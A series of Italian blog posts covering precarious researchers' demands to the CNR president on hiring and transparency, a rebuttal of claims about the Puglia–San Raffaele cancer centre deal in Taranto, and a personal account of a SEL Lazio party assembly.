Quella che segue è la bozza di un testo su cui si sta cercando di convergere in vista di un incontro con il presidente del CNR, Maiani. Nei prossimi giorni il testo verrà fatto circolare e quindi probabilmente modificato in alcuni dettagli, in modo da raccogliere il più alto numero possibile di adesioni tra i collettivi di precari formatisi negli Istituti del CNR.

L’incontro con il presidente non è stato ancora fissato, ma avendolo proposto lo stesso Maiani ad alcuni di noi il giorno 30 maggio, si spera che non voglia rimangiarsi la parola. Ecco il testo:

1- Il blocco del turnover. Il preannunciato blocco del turnover al 20% rappresenta la via maestra per l’invecchiamento dell’ente e per l’accelerazione del processo già avviato da molti anni che consiste nell’affidare buona parte della ricerca a personale assunto con contratti di tipo precario, in numero sempre maggiore e con condizioni sempre peggiori.

Non è necessario un grande sforzo di immaginazione per prevedere cosa accadrà nell’immediato futuro: la riduzione dell’organico infatti non può che aumentare le difficoltà nella produzione tecnologica, scientifica, culturale e di servizi, nonché ovviamente nell’ottenere commesse e progetti finanziati da enti terzi, nazionali o internazionali. Il CNR dovrà quindi rassegnarsi alla marginalità sullo scenario mondiale della ricerca o poggiarsi su un numero crescente di precari, assunti con fondi esterni, per compensare la carenza di personale.

Questo secondo scenario non è nuovo, ma non è detto che il meccanismo possa essere replicato all’infinito. E’ plausibile invece il contrario: già oggi i ricercatori che entrano nel CNR come assegnisti si rendono rapidamente conto di come le prospettive di lavoro nell’ambito della ricerca in Italia siano vicine allo zero.

Ma questo non è tutto: la spesso evocata meritocrazia viene in questo modo azzerata da una selezione basata letteralmente sul censo dei ricercatori che, in assenza di una retribuzione di livello europeo, bilanciano le proprie motivazioni a proseguire in questo lavoro, con la facoltà di stazionare in una condizione di incertezza senza fine e con la capacità di tollerare la percezione di rischio che necessariamente genera vivere con un orizzonte professionale e personale così limitato.

Di fatto questa politica incentiva la fuga verso l’estero o l’abbandono da parte di ricercatori che si sono formati in Italia e che porteranno altrove o disperderanno le proprie competenze, proprio nel momento in cui sono più “produttivi”.

Riteniamo che opporsi con ogni mezzo necessario a questa politica sia non solo un dovere civico ma che sia coerente con l’idea che il CNR debba continuare a perseguire la missione che si è dato.

Chiediamo che la presidenza del CNR si esprima contro questa politica in modo netto, utilizzando tutti i canali a sua disposizione. Non è questa una richiesta di tutela corporativa: al contrario è una spinta solidaristica che porta a denunciare una politica miope, causa di immiserimento economico e culturale del nostro Paese, economicamente svantaggiosa sia nel breve che nel lungo periodo.

2- Il fabbisogno di personale. In una situazione così disastrosa ci sembra prioritario che questo Ente debba gestire le risorse di cui dispone cercando di indirizzarle in maniera strategica per garantirsi un futuro.

Il piano di fabbisogno triennale, presentato qualche mese fa e oramai azzerato dalla manovra finanziaria, è quindi incomprensibilmente autolesionista: mascherando come reclutamento di primi ricercatori e dirigenti gli avanzamenti di carriera, questo piano nella realtà otterrà l’obiettivo di frustrare ulteriormente le attese dei giovani ricercatori, incentivando la dispersione. Dobbiamo qui confermare la nostra analisi: questa direzione è in antitesi con la necessità di futuro di un Ente che invecchia e che si indebolisce, disperdendo il patrimonio di esperienza e professionalità sul quale si è investito per lungo tempo.

Come assunto generale, crediamo che l’elaborazione dei piani di fabbisogno dovrebbe poggiare su una riflessione trasparente e pubblica sulle priorità da perseguire per il rilancio dell’Ente. Da questo punto di vista, il numero di posti assegnati ai diversi livelli, se non accompagnato da un’analisi della pianta organica attuale e in assenza di una pianificazione conseguente che tenga conto delle criticità da affrontare, non può che apparire arbitraria e oscura. Per questo chiediamo che:

• venga rimodulato il fabbisogno di personale verso posizioni di III livello vista la quantità di personale atipico presente negli istituti del CNR. Questa richiesta, in accordo con le rivendicazioni già fatte in passato, include sia le risorse derivate dal turn-over 2010-2012 sia le altre risorse in gestione al CNR quali, ad esempio, il conto fondo terzi.
• le posizioni di I e II livello siano gestite secondo canali paralleli e non coincidenti rispetto alle assunzioni per terzi livelli, sia in termini di stanziamento fondi che di procedure concorsuali
• la Presidenza debba chiedere con forza la riattivazione delle procedure di avanzamento di carriera su base contrattuale.

Per il futuro, vorremmo che il CNR riuscisse almeno ad esplicitare e rendere pubblici tanto il processo quanto le dinamiche che portano alle scelte di merito nelle politiche di reclutamento: la determinazione del fabbisogno inoltre dovrebbe essere il risultato di un processo partecipato in cui possano esprimere il proprio punto di vista tutti gli stakeholders attivi all’interno dell’Ente stesso.

3- Un censimento di tutti i lavoratori non strutturati. Ad oggi, non esiste un monitoraggio dei lavoratori interni al CNR assunti con contratti a termine diversi dal Tempo Determinato (TD), nonostante la diffusione massiccia di contratti di lavoro tra i più diversi: dagli ovvi assegni di ricerca, alle borse, ai cococo ecc.

I dati sulla diffusione e l’incidenza del precariato dentro il CNR sono un vero e proprio mistero. Secondo l’Amministrazione centrale “il dato non è estraibile”: non è possibile sapere quanti siamo, chi siamo, da quanto tempo siamo qui; semplici statistiche descrittive, di un fenomeno di rilevanza cruciale per l’Ente, sembrano tramutarsi in analisi di una complessità inaudita da mettere in difficoltà persino il Consiglio Nazionale delle Ricerche!

E’ chiaro che finora è mancata la volontà di affrontare questo problema e quindi di fare luce sull’incidenza e le caratteristiche di un fenomeno che, se reso evidente, si manifesterebbe nella sua importanza. Questo fenomeno è invece per noi lo specchio della salute del CNR, un ente:

• Debole, perché le sue risorse “interne” sono oramai irrisorie a fronte dei fondi esterni procacciati in larga misura attraverso il lavoro dei precari. Risorse massimizzate grazie alla logica al ribasso con cui sono attribuite le posizioni contrattuali: responsabilità che ricade sui capi-progetto, sui direttori degli Istituti e i dirigenti di questo Ente che, adottando la politica del laissez faire, avvallano l’ottica del “massimo risultato con la minima spesa”, dimostrando in questo modo la scarsa lungimiranza di chi non si pone né il problema delle prospettive a lungo termine dell’Istituto in cui lavora o che dirige, né un dubbio etico.
• Vecchio, perché anche tra i non strutturati non si è poi così tanto giovani e come si è già ribadito le politiche in discussione porteranno all’innalzamento dell’età media. Quindi un Ente vecchio ora, e vecchissimo domani.
• Povero di prospettiva e lungimiranza, ma anche di onestà etica ed intellettuale, dato che i destini dei giovani ricercatori sono nelle mani di strutturati che non vengono valutati.
• Opaco, perché le sue dinamiche interne si prestano a nascondere più che a rendere espliciti i processi, i percorsi e le figure che vi partecipano o che ne sono responsabili.

Come primo passo, sosteniamo la necessità di un censimento, a cadenza annuale e gestito dall’Ente, che faccia luce sul numero e la tipologia di tutti i contratti diversi da quelli a tempo indeterminato (e.g. contrattisti a progetto, assegnisti di ricerca e affini), delineando le modalità dei percorsi lavorativi di chi è assunto con contratti a termine all’interno del CNR.

Di fianco a questo strumento fondamentale per fare chiarezza sul lavoro attualmente invisibile all’interno del CNR è necessario che siano rese trasparenti e accessibili le statistiche riguardanti il contributo che questi lavoratori apportano ai progetti, secondo i parametri già utilizzati per la valutazione degli Istituti. E’ arrivato il momento di fare chiarezza sull’apporto scientifico imputabile al personale assunto con contratti a termine.

4- Percorso unico di accesso. Nel CNR oggi non esiste un unico percorso di accesso che inquadri i ricercatori con contratto a termine nel momento in cui fanno il loro ingresso nell’Ente. Questa mancanza si è purtroppo concretizzata in una frammentazione ingiustificata delle tipologie di contratto, guidata da quella politica del massimo risultato con la minima spesa a cui si è già fatto ampiamente riferimento. Le competenze o titoli acquisiti e la tipologia di lavoro svolto, non sembrano essere discriminanti nello stabilire il tipo di contratto offerto.

Noi pensiamo che sia il caso di contrastare duramente questo fenomeno, fissando, come avviene in moltissimi Paesi un percorso di accesso chiaro che delinei i passaggi essenziali nelle loro forme contrattuali. Non si chiede qui di inseguire una ipotetica condizione di avanzamento automatico di carriera, ma di riconoscere a parità di lavoro e di competenze, parità di forme contrattuali.

• Il CNR deve privilegiare le forme di contratto TD, rendendole obbligatorie come forma di contratto Post-DOC
• i contratti a termine diversi dal TD devono essere limitati da subito per i ricercatori a tempo pieno all’assegno di ricerca e va presa in considerazione la possibilità di adottare i contratti da “giovane ricercatore” del MIUR come forma di accesso.
• In entrambi i casi il tempo massimo di reiterazione della stessa forma di contratto precario dovrebbe nel futuro essere limitata a tre anni.

In primo luogo, si pongono così le basi per una semplificazione dei rapporti di lavoro, favorendo una maggiore chiarezza tra le parti ed un miglioramento nella qualità del lavoro di ricerca svolto. In secondo luogo, si offre uno strumento per supportare la pianificazione economica e finanziaria da parte del coordinatore di un gruppo di ricerca che rispetti dei parametri chiari che impediscano la tentazione dell’attuale corsa al ribasso.

5 – Le risorse destinate alla chiamata diretta. Un aspetto legato alle procedure di assunzione a tempo indeterminato del personale di ricerca del CNR riguarda l’Art. 13 del D. Lgs. 213/2009 concernente il riordino enti di ricerca vigilati dal MIUR. Secondo tale decreto gli enti di ricerca vigilati dal MIUR, tra cui il CNR, hanno la possibilità di assumere a tempo indeterminato per chiamata diretta e quindi senza espletare procedure concorsuali adeguate, fino al 3% dell’organico dei ricercatori e tecnologi nei limiti delle disponibilità di bilancio e previo il nulla osta del Ministero stesso.

E’ d’obbligo focalizzare l’attenzione su due aspetti cruciali del decreto che vanno a modificare, peggiorandola, una disposizione precedente:

• il metodo di assunzione non è più accompagnato dal parere del Consiglio scientifico ma dal comitato di esperti per la politica della ricerca (Cepr) ed è inoltre subordinata al previo assenso da parte del Ministro in carica;
• per l’assunzione non è più previsto un inquadramento solo «al massimo livello contrattuale del personale di ricerca», ma «fino al massimo livello contrattuale del personale di ricerca». Non si comprende il senso di apportare queste modifiche, se non con il tentativo di legittimare operazioni clientelari attraverso una procedura di valutazione alquanto arbitraria, poco trasparente e lontana dall’obiettivo dichiarato di svolgere corretti iter concorsuali.

Per quanto riguarda i fondi gestiti direttamente dalla sede centrale, come il fondo conto terzi, è importante che sia reso pubblico un rapporto sull’ammontare della disponibilità economica di questi fondi e sulle previsioni delle modalità di utilizzo: viste tutte le premesse, è per noi naturale pensare che questi fondi possano essere disponibili per l’assunzione di personale.

6 – Trasparenza ed equità nei concorsi. Un punto fondamentale delle politiche di reclutamento del CNR (e non solo) riguarda la trasparenza e l’equità dei concorsi. Troppo spesso abbiamo osservato scarsa apertura nella procedura di selezione, con profili disegnati più su di una persona che sulla figura professionale richiesta.

Riteniamo che la procedura di selezione debba permettere di scegliere la persona migliore per svolgere il lavoro richiesto e a questo scopo il concorso deve offrire un metodo di valutazione ex ante ampia ed oggettiva, a cui va affiancata una valutazione ex post periodica che permetta di confermare la qualità della selezione effettuata. La questione è quindi ampia e complessa, tanto da richiedere una riflessione attenta, che oggi è urgente oltre che necessaria.

Se quindi riformare le procedure di concorso necessita di una discussione che coinvolga tutta la rete scientifica, possiamo già da subito indicare pochi accorgimenti che renderebbero le attuali procedure senz’altro più accettabili.

• I concorsi devono essere basati su un regolamento univoco, che garantisca assoluta chiarezza sia nelle modalità di partecipazione che nella procedura di valutazione.
• Per quanto riguarda l’accesso al concorso, devono essere eliminati tutti i vincoli che limitano la possibilità di partecipazione.
  • deve essere eliminato il vincolo di possedere una laurea specifica: deve essere possible poter partecipare alla selezione semplicemente grazie al possesso del titolo di laurea, a prescindere dalla specializzazione.
  • deve essere eliminato il vincolo di partecipazione a un numero limitato di selezioni all’interno di uno stesso bando.
• La procedura di valutazione deve basarsi su punteggi definiti in maniera univoca per tutti i concorsi, eliminando l’arbitrarietà della commissione nella loro definizione.
• I titoli devono essere valutati secondo parametri chiari e inclusivi. Non ci devono essere limiti nel numero di pubblicazioni presentate, visto che è possibile stabilire in maniera oggettiva la qualità di ognuna. In questo modo, la valutazione dei titoli può avere il peso che merita, maggiore rispetto a quello delle prove scritte e orali.

Riteniamo che queste semplici modifiche possano migliorare da subito la qualità dei concorsi all’interno del metodo attuale. Inoltre, riteniamo che si debba avviare una riflessione profonda e partecipata per migliorare le procedure di selezione.

Share on Facebook

[PREMESSA 1: intervista di Libera.tv a Nichi, nella quale sono affrontati sia il tema Don Verzé, sia il tema inceneritore (a partire dal minuto 5:30)]

[PREMESSA 2: il testo che segue è nato come risposta informale via mail ad una compagna ed è poi comparso su questo blog più che altro come memo personale. Di conseguenza le eventuali critiche sui contenuti saranno preferite a quelle sulla forma.]

Ovvero: sui falsi scoop.

Grazie alla segnalazione di nome in codice “MaPi”, leggo questo articolo, che vi segnalo:

http://www.italiaterranostra.it/?p=5150

Ecco quello che ho “scoperto” grazie ad una veloce indagine personale e da fonti di prima mano.

La notizia è di dominio pubblico in realtà dal 2006. Non c’è nessuno “scoop”: l’accordo non è stato tenuto “segreto” o non si è cercato di nasconderlo, anzi è stato pubblicizzato a lungo. Basta fare una ricerca su google, ma ho trovato anche una puntata di report in cui si accennava alla questione (6/12/2009).

L’accordo con il San Raffaele prevede la costruzione di un centro oncologico di eccellenza nella zona di Taranto con fondi partecipati (secondo gli accordi, 210 milioni di capitale così composti: 120 a carico della regione Puglia,  80 provenienti dalla Fondazione San Raffaele di Don Verzè e 10 forniti dallo stato centrale, se Tremonti non si rimangia la parola, cosa più che possibile): nell’articolo citato da MaPi e nei successivi che lo citano, ci sono però alcune allusioni scorrette:

1) il controllo dell’operazione è nelle mani di una fondazione costituita ad hoc, una fondazione che, come scritto anche nell’articolo di cui sopra, ha visto la luce legalmente il 28 maggio 2010 (ma è stata preparata per circa 4 anni). Quello che si omette nell’articolo è che questa fondazione è controllata a maggioranza dalla regione Puglia.
2) la gara d’appalto per la costituzione di questo tipo di fondazioni non è necessaria: non so spiegare i motivi in termini legali, ma essendo una operazione trasparente e non un accordo sottobanco (come dimostra la pubblicità riservata all’evento di creazione della fondazione), i legali della regione Puglia hanno dovuto ovviamente tenere bene in considerazione questo punto quando hanno stipulato gli accordi.
3) l’autore dell’articolo si chiede se non esistessero imprenditori o banche capaci di entrare nella fondazione al posto di Verzè. Questa operazione però non riguarda solamente fondi raccolti, ma know how (persone fisiche con competenze) e tecnologie: l’idea è che si possano utilizzare le competenze (elevate) del San Raffaele per stabilire un centro di eccellenza in un posto -Taranto- che da anni è ormai commissariato ed è diventato un deserto di investimenti.

Lo stato delle cose oggi vede la regione Puglia con molti pazienti in viaggio verso altre regioni (Lombardia tra le prime) in cerca di cure di qualità: questo fenomeno ha un costo elevato in termini di rimborsi, per non parlare del costo sociale (c’è chi può permettersi di viaggiare e chi no, con conseguente discriminazione per censo nel campo della salute). L’operazione sarebbe mirata a invertire questa tendenza, portando, alla lunga, alla correzione di queste storture con un conseguente risparmio anche in termini economici, mentre nel breve periodo vi sarebbe un forte investimento di denaro privato nel Tarantino.

Ultimi tre problemi sollevati che leggo qui e là in blog e siti che hanno trattato la notizia (i primi due soprattutto nei commenti a dire la verità):
A) perché proprio Taranto? Qui si intende che la zona è già inquinata e una struttura per il trattamento oncologico peggiorerebbe la situazione. Addirittura alcuni dicono che l’operazione è fatta in disprezzo della vita dei tarantini. Mi sembra una posizione delirante: perché questo ospedale dovrebbe essere particolarmente inquinante? O forse si intende che tutti gli ospedali sono inquinanti? Magari c’è un po’ di confusione sul concetto di cura oncologica, ma questa mi sembra malafede o stupidità. Probabilmente entrambe: salta infatti fuori in mezzo a questi commenti anche la questione inceneritore, con i soliti argomenti… ma questo è un altro discorso.
B) perché proprio Don Verzè? Certamente perché il San Raffele è un centro di qualità molto elevata, ma è anche vero che vi sia un rapporto di amicizia personale tra Nichi e l’ex-pretaccio (“pretaccio”… termine tecnico). Non si scopre adesso che Nichi dà molta importanza ai rapporti personali di amicizia o conoscenza: da un punto di vista politico questo è probabilmente un punto debole, ma per dire che la scelta sia ricaduta su Don Verzè solo per via di questi rapporti personali servirebbero prove dell’incapacità di Don Verzè nel gestire in modo eccellente questo genere di strutture oncologiche (auguri!) oppure indicazioni sull’esistenza di un altro gruppo concorrente desideroso di investire e dotato di competenze almeno pari (!). Nichi non è certamente perfetto, ma qui mi pare si esageri.
C) Berlusconi coinvolto e favorito nell’affare. A parte il fatto non trascurabile che l’ingresso del Berlusca nella fondazione che gestisce il San Raffaele è successivo temporalmente agli accordi stipulati dalla Regione Puglia, su questo punto, personalmente resto con i Wu Ming e i loro motivi per pubblicare per Einaudi e concludo tornando all’inizio di questo post: punto 1) il controllo dell’operazione è nelle mani della regione.

A conclusione di tutto questo, visti i tagli in finanziaria, l’intero accordo potrebbe saltare, dato che quello che ha detto Nichi a proposito dei presidenti di regione trasformati in “curatori fallimentari” non è affatto una esagerazione.  In questi termini, il rimborso ipotetico per i posti letto creati è a rischio e Don Verzè non è un benefattore dell’umanità.

Amen.

[aggiunta di agosto 2010 - ecco un altro articolo interessante sull'argomento:
http://mazzetta.splinder.com/post/23141432/la-bufala-dellaffaire-vendolaverze]

PS In seguito ai vari articoli pubblicati su “Italia Terra Nostra” (che chiaramente su questo argomento punta per poter emergere dall’anonimato della rete), il 28 agosto Nichi ha replicato sul suo blog alle domande postegli. Ecco il link: http://www.nichivendola.it/sito/mcc/informazione/sul-san-raffaele-del-mediterraneo.html

Share on Facebook

Oggi si è tenuta una assemblea indetta dal presidente del CNR per la discussione del nuovo statuto dell’Ente. Aperta a tutti gli istituti ed a tutti i ricercatori (fatto inedito che ha incredibilmente incluso anche i “precari”), ci ha permesso di sfruttare l’occasione per portare avanti le nostre rivendicazioni e forzare il presidente ad indire una assemblea mirata esclusivamente al tema del piano delle assunzioni.

L’obiettivo è stato raggiunto solo in parte.

Questo il documento distribuito e letto a più riprese durante l’assemblea.

“Il Consiglio Nazionale delle Ricerche (CNR) è Ente pubblico nazionale con il compito di svolgere, promuovere, diffondere, trasferire e valorizzare attività di ricerca nei principali settori di sviluppo delle conoscenze e delle loro applicazioni per lo sviluppo scientifico, tecnologico, economico e sociale del Paese. Un obiettivo che l’Ente vuole perseguire [...] alla luce di una missione ambiziosa: rappresentare una risorsa da valorizzare per lo sviluppo socio – economico del Paese. Alla base, il convincimento che l’attività di ricerca e sviluppo, determinante per la competitività del sistema economico nazionale, possa generare nuova occupazione, maggior benessere e maggiore coesione sociale.”

Quello che dobbiamo chiederci oggi è se questa missione ambiziosa sia o meno perseguita con gli strumenti di cui si dispone. La nostra sensazione è che l’intero Ente sia oggi compromesso da una politica sciagurata di tagli e che la pianificazione che sarà assunta per i prossimi anni potrebbe provare a portarlo fuori dalle secche in cui si trova oppure avviarlo definitivamente verso un triste declino.

La nuova finanziaria sfrutta la crisi economica per azzerare le già scarse risorse di cui questo Ente disponeva: un fenomeno accentuato da una visione miserabile della ricerca, della scienza e della cultura in generale come forme di spesa parassitaria per lo Stato, senza alcun ritorno economico spendibile. Sappiamo bene quanto sia miope questa posizione, e pensiamo al contrario che sia necessario sfruttare questo momento per rilanciare, dimostrando la forza di questo Ente e la sua importanza cruciale. Purtroppo il piano di assunzioni che da qualche settimana circola tra gli Istituti, prima come voce di corridoio e poi con dati più precisi, si muove invece nella direzione del cercare di “tirare a campare”.

In un momento di scarsità di risorse si è infatti pensato che la direzione da intraprendere fosse quella di ampliare il numero di dirigenti e primi ricercatori, che avrebbero basato inevitabilmente la loro capacità di azione e intervento sulla abilità di costruire gruppi di ricerca composti esclusivamente (o quasi) da ricercatori con contratti a termine, assegnisti o, in casi “fortunati”, TD.

Tutto ciò si fonda sull’errata convinzione che noi “ricercatori precari”, con anni di esperienza all’attivo e un’ampia competenza e produzione scientifica, saremmo disposti a contribuire alla ricchezza scientifica dell’Ente a qualsiasi costo. La realtà è che questo è il modo più efficace per convincerci a cambiare lavoro o emigrare.

La retorica non è efficace quanto i dati concreti (probabilmente presto resi anche peggiori dai tagli imposti dalla manovra finanziaria):

Tipologia contratto —– Pianificazione 2010/2012 —– Pianta Organica Aprile 2010
Ricercatore III Livello                     196                                                   2355
Primo Ricercatore                          104                                                    908
Dirigente di ricerca                          61                                                     334
Tecnologo III Livello                       120                                                    294
Primo Tecnologo                              6                                                       82
Dirigente Tecnologo                         6                                                       37
Tecnico e Amministrativo               394                                                   2747

Noi pensiamo che il CNR debba svolgere quel ruolo che è esplicitato nella sua missione: un ruolo strategico per impedire che il nostro Paese aggiunga alla bancarotta morale anche quella culturale ed economica. Per questo motivo, a maggior ragione quando i finanziamenti alla ricerca sono scarsi, il CNR deve:

1. definire il piano di fabbisogno di personale investendo sull’assunzione di nuovi ricercatori, piuttosto che sulle figure dirigenziali;
2. rendere trasparenti le scelte fatte nella programmazione del fabbisogno di personale: queste devono essere fondate sulle reali esigenze dell’ente, su una corretta valutazione degli istituti (sperando che quella compiuta di recente non sia trasformata in un esercizio di stile) e devono essere motivate con la pubblicazione di dati puntuali;
3. correggere la stortura che porta spesso all’assunzione di ricercatori sotto il profilo di tecnico o tecnologo, per pura necessità;
4. muoversi in modo che il reclutamento di tutto il personale, a qualsiasi livello, avvenga sempre tramite procedure concorsuali aperte e trasparenti, che permettano una selezione vera e basata sul merito;
5. ritirare la possibilità di reclutamento per chiamata diretta – il famoso 3% che prima era destinato a contrattualizzare i premi nobel, ma che apprendiamo potrebbe essere utilizzato per assumere nuovo personale a tutti i livelli – per evitare il rischio evidente che queste posizioni siano facilmente “lottizzate”.

In conclusione, chiediamo l’attivazione di un percorso trasparente di discussione, che eviti il frustrante inseguimento delle voci di corridoio e che metta in gioco la visione del futuro del CNR. Sentiamo la necessità di realizzare un incontro aperto, come quello proposto oggi, mirato ad affrontare il tema della politica delle assunzioni nei suoi aspetti fondamentali. Un incontro che deve essere portato avanti sulla base di numeri chiari che riguardino sia i fondi, sia il personale. Cifre per le quali è necessario avviare da subito un censimento ufficiale che conteggi finalmente anche quelle tipologie di contratto a termine che, nonostante il largo uso, sono state finora completamente ignorate nelle statistiche ufficiali del CNR. Vorremmo la partecipazione dei sindacati, sia come organi di rappresentanza dei lavoratori ma soprattutto come portatori di una visione di insieme dell’ente, della sua missione e delle sue priorità.

Assemblea dei Precari dell’ISTC
Coordinamento precari dell’area di Montelibretti

Share on Facebook

Like an auto accident, you can’t keep your eyes off it
Come un incidente stradale, non puoi smettere di guardare

John Giorno

Premessa inutile

Quando si scrive una cronaca occorre scrivere a caldo principalmente per due motivi:

1) perché dopo un po’ si tende a ricostruire i ricordi, dando un filo logico ed un senso o una spiegazione a fatti che non necessariamente hanno una razionalità esplicita (vedi: geneaologia della storia. Un luogo in cui si è già stati).

2) perché il calcolo ci mette lo zampino e rovina la parresia. Un principio che non necessariamente deve essere inteso in senso negativo: si può voler rafforzare un processo positivo nascondendone gli aspetti negativi, ma alla lunga così facendo mi pare si corra il rischio di ottenere l’effetto opposto.

A parte ciò, se qualcuno si è preso la briga di leggere andando oltre  termini come “genealogia”, e”parresia”, (e correndo il rischio di  trovarsi davanti anche “ontologico”, “epistemico” o “olistico”), vuol dire che difficilmente sarà spaventato dalla amara realtà.

Certo, poi ci si mette di mezzo il lavoro… e ho finito con lo scrivere dopo un paio di giorni.

Atto I – dove si spiega cosa sia successo, ma non perché

Finito il periodo di campagna elettorale con le dovute sconfitte elettorali, ad inizio aprile si decide di iniziare l’assemblea del partito a livello provinciale (Roma) con una analisi del voto. Ottimo: i flussi elettorali, dati alla mano, vengono sviscerati ed analizzati, il tutto alla ricerca del colpevole con l’arma in pugno. Che le elezioni siano state perse per una semplice questione matematica (gli “altri” hanno preso più voti) in effetti ci dice poco perché il fenomeno può essere ottenuto in molti modi diversi. Per farla breve, il problema non è stato un spostamento del voto (qualcuno che, avendo votato per il centro-sinistra, avrebbe poi deciso dopo 5 anni di votare per la destra), ma l’astensione non uniforme (ovvero in molti, soprattutto tra gli elettori di centro-sinistra, si sono astenuti dal voto).

Dato tangibile: numeri alla mano, riscontrabile oggettivamente. Il centro-sinistra perde più elettori di quanti non ne perda la destra. Quindi, in una condizione di partenza di sostanziale parità, la destra vince. Amen.

Atto II – dove dovvero non si riesce a spiegare perché

Da questo dato di partenza purtroppo non è possibile ricavare in modo lineare né le cause del fenomeno (personali, collettive, accidentali, strutturali… abbiamo solo prove indiziarie), né le modalità che ci possano permettere di invertire la tendenza, cosa che a sua volta può significare: 1) riportare gli elettori alle urne; oppure 2) spostare da una coalizione all’altra il voto di quelli che ancora si dedicano a tale esercizio.

Con buona pace di chi ha dedicato qualche decina d’anni alla logica modale, questa condizione resta l’incubo dello scienziato determinista: non ci sono operatori che possano descrivere in modo sicuro quello che avviene e soprattutto, quello che sarebbe avvenuto SE… Che sarebbe successo se ci fosse stato un altro candidato presidente di regione? Cosa sarebbe successo se la coalizione fosse stata unita? Cosa sarebbe successo se il sistema di informazioni non fosse stato sotto pesante controllo? L’esperimento è singolare, unico, non ripetibile (con buona pace di tutti noi, tra cinque anni la situazione sarà comunque almeno un po’ diversa).

La patria dell’illazione, appunto. Spesso sostenuta dalla sola voce e credenza di chi la sostiene, senza l’ombra di un dubbio apparente. Due incontri consecutivi su questi due temi: cause del fenomeno e come uscirne.

Atto III – la trama non decolla

Quello che si impara dopo una decina di ore passate a discutere di questi argomenti (anche se in più di un appuntamento) è riassumibile in poche frasi:

1) leggi la citazione in testa a questo articolo;

2) basta poco per entrare nel tunnel e cominciare a prender parte alla giostra dell’illazione (non senza un certo divertimento sado-masochista);

3) una volta entrati nel tunnel non si ha più un’idea di cosa sia un bene strumentale e quale sia la differenza tra questo ed un bene finale.

La china si risale in senso inverso: un partito ed i voti (la fiducia) a cui questo partito aspira, sono entrambi beni strumentali: servono come strumento per raggiungere un bene finale. Quale? Semplificando, la trasformazione della società (che, sia detto per inciso, in questo momento sta andando in vacca). Riflettevo tra me assaporando il momento in cui avrei parlato in assemblea regionale per comunicare queste che mi sembravano grandi verità ignorate da tutti e aspettavo quindi con un po’ di impazienza la terza assemblea (in cui sono finito dato che mi sono iscritto a parlare piuttosto tardi). Nella lunga attesa, ho modo di ascoltare Nichi Vendola dire nelle sue apparizioni in TV molte delle cose sulle quali stavo rimuginando, meglio di come stavo immaginando di fare io. Parlo anche con alcuni compagni e scopro di non avere pensieri poi così originali: da un lato è una cosa positiva, ma dall’altro, se la si pensa così, di che stiamo parlando?

Quando finalmente la convocazione arriva, la fonte è atipica: un membro del direttivo nazionale (Francesco “Ciccio” Ferrara per la cronaca).

Atto IV – il colpo di scena

E’ così che si scopre che tutto ciò di cui avevamo parlato fino a quel momento non era che una parte del vero dibattito che animava SEL – Lazio: la parte esplicita. Forse non la parte ritenuta meno importante, ma decisamente quella che suscitava meno interesse negli iscritti. Arrivando al dunque: l’arbitro spedito dal direttivo nazionale ci spiega rapidamente quanto siamo stati capaci di far degenerare ed incancrenire l’organizzaione del partito nel Lazio e a Roma in particolare, fino a sfiorare il ridicolo. Non siamo riusciti ad eleggere un portavoce o un coordinamento in svariati mesi e siamo incapaci di indire una assemblea che svolga questo ruolo senza la presenza di un esterno!?

Per quale motivo tutto questo? Scontro sugli obiettivi? Sulle metodologie di lotta? Sulle priorità di intervento? Magari! Lo scontro è su chi ha diritto di voto nell’assemblea e chi non lo ha. Non so se avete mai partecipato ad una assemblea in cui si discute se i presenti sono o meno legittimati a votare: a me è capitato diverse volte durante le varie agitazioni nel periodo del liceo e durante l’università. Ho sempre trovato la cosa ridicola. Adesso so che non era cosa rara.

Atto V – il surreale e l’osceno

Seguono qualcosa come 3 ore abbondanti (dalle 17:30, fino alle 21:00) di dibattito interno sul solo argomento “chi può votare e chi deve essere escluso”, con qualche intermezzo sul genere “basta parlare solo di noi stessi”, in cui si parla comunque solo di noi stessi (come, per essere onesti, sto facendo io adesso). La pietra dello scandalo: i cosidetti delegati di diritto. Ovvero un gruppo di 18 iscritti che, per il loro ruolo svolto nel passatto all’interno di uno dei gruppi fondatori, hanno avuto diritto di voto nelle assemblee precedenti. Gruppo cresciuto fino a raggiungere i 48 membri, per bilanciare i valori di voto delle rispettive componenti originarie e poi sceso a 10 membri in quest’ultima votazione, dopo aver tolto i 30 abusivi (che nessuno sa chi abbia aggiunto… o meglio chi lo sa, non ne vuole parlare) e 8 degli originali 18 perchè rivestono incarichi nel nazionale. Sempre per la cronaca gli “altri” delegati, quelli non di diritto, sono 50.

Ore 17:30: relazione di Ciccio Ferrara, con proposta di metodologia di voto.

Ore 21:30: inizio votazioni con metodologia identica a quella proposta all’inizio.

Il tutto per un ruolo che durerà circa 3 mesi, dato che poi per il congresso (ottobre) si vanno a rinominare delegati, portavoce e coordinamento.

Questa la parte surreale. Poi c’è l’osceno.

Quando si presenta Marco Furrfaro, candidato a diventare portavoce regionale, prova a fare un breve discorso per presentare se stesso e le proprie idee, parlando di un caso esemplificativo di morte bianca per indicare nel lavoro (in relazione a sicurezza e precarietà) un tema che ritiene centrale per SEL. La sensazione in sala è che non avrebbe potuto fregare di meno alla maggior parte dei presenti: buona parte presi -comunque e sempre- dal problema di chi deve votare.

Quando si formarono a ottobre scorso le commissioni per il regolamento e quella per il programma, sentii dire di sfuggita a qualcuno  del direttivo, una “veterana” della politica (direi il nome, se mi ricordassi distintamente chi fosse) che la prima era l’unica a contare qualcosa. Mi è rimasto impresso perché la sola ipotesi che tra regolamento e programma sia più importante il primo, continua anche oggi a sembrarmi folle. Anche se adesso capisco in che contesto si collochi questa idea.

Epiologo

Mi restano delle domande retoriche e un invito:

1) la forma assembleare (fatta così) a che serve? Si entra con una idea, si esce con la stessa idea. Non c’è vera interlocuzione, non c’è crescita, il confronto è scarso e spesso si ha paura del voto; gli accordi su idee, progetti e persone vengono raggiunti prima di iniziare l’assemblea. In questo caso  alla fine ci è andata anche bene, dato che Marco e almeno un membro del coordinamento (Ylenia, l’unica che conosco, per questo dico “almeno uno”), sono delle ottime persone a cui non affiderei niente di meno, ma la domanda resta. Io non sono innamorato della forma, ma se questa è un paravento, mi sento anche preso per il culo.

2) Perché SEL poggia così insistentemente su contesti opachi? Questi contesti che permettono o forse incentivano le decisioni sottobanco, le liti personali, che alla luce del sole sarebbero molto meno, per chiara consapevolezza della loro stupidità. L’organizzazione, il soggetto politico, di certo non ne trae vantaggio, ma alcuni dei suoi membri pensano forse di poterne trarre per sé stessi. Un’ottica miope che parassita e distrugge la stessa entità che ne permette la vita.

